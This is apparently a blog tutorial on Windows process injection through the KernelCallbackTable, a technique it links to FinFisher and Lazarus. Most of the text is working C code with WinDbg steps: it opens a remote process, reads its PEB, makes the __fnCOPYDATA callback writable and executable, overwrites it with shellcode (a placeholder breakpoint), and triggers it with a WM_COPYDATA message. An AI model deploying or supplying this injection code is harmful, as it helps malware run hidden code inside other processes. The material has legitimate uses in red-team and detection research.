Code can be found here
This method of process injection was used by FinFisher/FinSpy and Lazarus.
The kernelcallbacktable is always configured when there are UI-related elements linked to the application and it is initialized to an array of functions when user32.dll is loaded into a GUI process. It is utilized to manage all pointers and structures involved in sending messages within a process, such as interprocess communication. This allows for messages to be sent between applications via the kernel callback.
fnCOPYDATA is executed in response to the WM_COPYDATA message. Finfisher uses the fnDWORD function.
We simply duplicate the existing table or overwrite the address with our own payload in the kernelcallbacktable, set the fnCOPYDATA function to address of payload, update the PEB with address of new table and invoke using WM_COPYDATA. By hooking into that table, we can define our own triggers, enabling us to send messages to the application, which will in turn execute our code.
Finding KernelCallbackTable
In WinDbg, we can use the dt_peb command to display the Process Environment Block (PEB) structure. Within this structure, the KernelCallbackTable can be found at the offset +0x058.
? poi(@$peb+0x58)
This command evaluates the expression at the offset +0x058 of the Process Environment Block (PEB), providing the address of the KernelCallbackTable.
We can use the dps command to display specific content within an address.
We are particularly interested in the fn_copydata function, which calls wm_copydata, a predefined structure. We can write code that sends information to Notepad using copydata. Notepad has a predefined table with function pointers that can be directed to our desired functions. When the callback is triggered, it will execute as intended.
Our plan is to overwrite the copydata callback with our desired function to achieve the intended operation.
Code
Step 1: Open a handle to the remote process.
DWORD PID = atoi(argv[1]);
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
printf("Process PID %d HANDLE 0x%p\n", PID, hProc);
This handle contains internal information that Windows uses to permit operations on the remote process. The OpenProcess call is now successful.
Step 2: Retrieve the PEB Structure Information
NTSTATUS(*NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
NtQueryInformationProcess = GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
printf("NtQueryInformationProcess at 0x%p\n", NtQueryInformationProcess);
At this point, we have a pointer to NtQueryInformationProcess.
Interestingly, there is always a pointer, even if we haven’t opened a process, because it’s a local structure. The pbi structure exists locally and doesn’t depend on the process being opened. If hProc fails, the call doesn’t achieve anything, but the pbi structure is still present locally.
PROCESS_BASIC_INFORMATION pbi;
NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
printf("PROCESS_BASIC_INFORMATION at 0x%p\n", &pbi);
printf("PROCESS_BASIC_INFORMATION PebBaseAddress at 0x%p\n", pbi.PebBaseAddress);
Step 3: Reading the PEB and KernelCallbackTable using ReadProcessMemory
PEB peb;
DWORD dwBytesRead = 0;
ReadProcessMemory(hProc, pbi.PebBaseAddress, &peb, sizeof(PEB), &dwBytesRead);
printf("PEB at 0x%p. Read %d bytes\\n", peb, dwBytesRead);
This allows us to copy the PEB of the remote process into our current process.
DWORD64 *dwKct;
KERNELCALLBACKTABLE kct;
dwKct = *(DWORD64*)((unsigned char*)&peb + 0x58);
printf("KERNELCALLBACKTABLE at 0x%p\\n", dwKct);
ReadProcessMemory(hProc, dwKct, &kct, sizeof(KERNELCALLBACKTABLE), &dwBytesRead);
printf("KERNELCALLBACKTABLE.__fnCOPYDATA at 0x%p. Read %d bytes\\n", kct.__fnCOPYDATA, dwBytesRead);
This allows us to access the fnCOPYDATA element of the KernelCallbackTable in the remote process.
VirtualProtectEx to change mem permission
We now have a pointer to a specific element, allowing us to change its memory location permissions using VirtualProtectEx.
Next, we can overwrite a few bytes. Each time fnCOPYDATA is called, it will execute our injected shellcode, such as a MessageBox.
Using SendMessage triggers WM_COPYDATA, which calls fnCOPYDATA. When we send a message to a process (e.g., notepad.exe), it triggers the event, looks at the table, copies data, calls fnCOPYDATA, and executes our code.
To change the memory location permissions, we use VirtualProtectEx, which works on remote processes. The normal VirtualProtect function is for local processes.
DWORD dwOld;
VirtualProtectEx(hProc, kct.__fnCOPYDATA, dwShellcode, PAGE_EXECUTE_READWRITE, &dwOld);
CHAR shellcode[] = "\\xcc\\xcc\\xcc\\xcc";
DWORD dwShellcode = 4;
Each time a debugger is attached, 0xCC will cause a breakpoint, making debugging easier.
We should avoid writing extensive shellcode that might overwrite arbitrary memory with callbacks. Instead, we patch it and change it to a pointer to the address created using VirtualAlloc.
By doing this, we’ve changed the memory location permission and set it to read-write-execute (RWX).
Writing to process memory using WriteProcessMemory
WriteProcessMemory(hProc, kct.__fnCOPYDATA, shellcode, dwShellcode, &dwBytesRead);
printf("%d bytes written\\n", dwBytesRead);
Triggering the event using SendMessage
We are ready to trigger the event using SendMessage. To do this, we will need a handle to the window (hwnd). We will retrieve a window element since this is how we will send messages inside the process.
To get the hwnd, we will use the FindWindowEx We will retrieve a handle to that element.
Once we have the handle to shell_traywnd, we need to tie it to a process. We can do this using GetWindowThreadProcessId. Here is an example code:
COPYDATASTRUCT cds;
cds.dwData = 1;
cds.cbData = 4;
cds.lpData = "AAAA";
HWND hw = NULL;
DWORD dwWindowPID = 0;
do {
hw = FindWindowEx(NULL, hw, NULL, NULL);
GetWindowThreadProcessId(hw, &dwWindowPID);
if (dwWindowPID == PID) {
printf("HWND %p belongs to PID %d\\n", hw, PID);
LRESULT result = SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
printf("GetLastError returned %d\\n", GetLastError());
}
} while (hw != NULL);
return 0;
Once it hits CCCC, it will break. We have to ensure the shellcode returns properly and that the process survives the change or else it will crash.
As this is a proof of concept, Explorer might crash. It’s not recommended to run this on your machine; use a VM instead.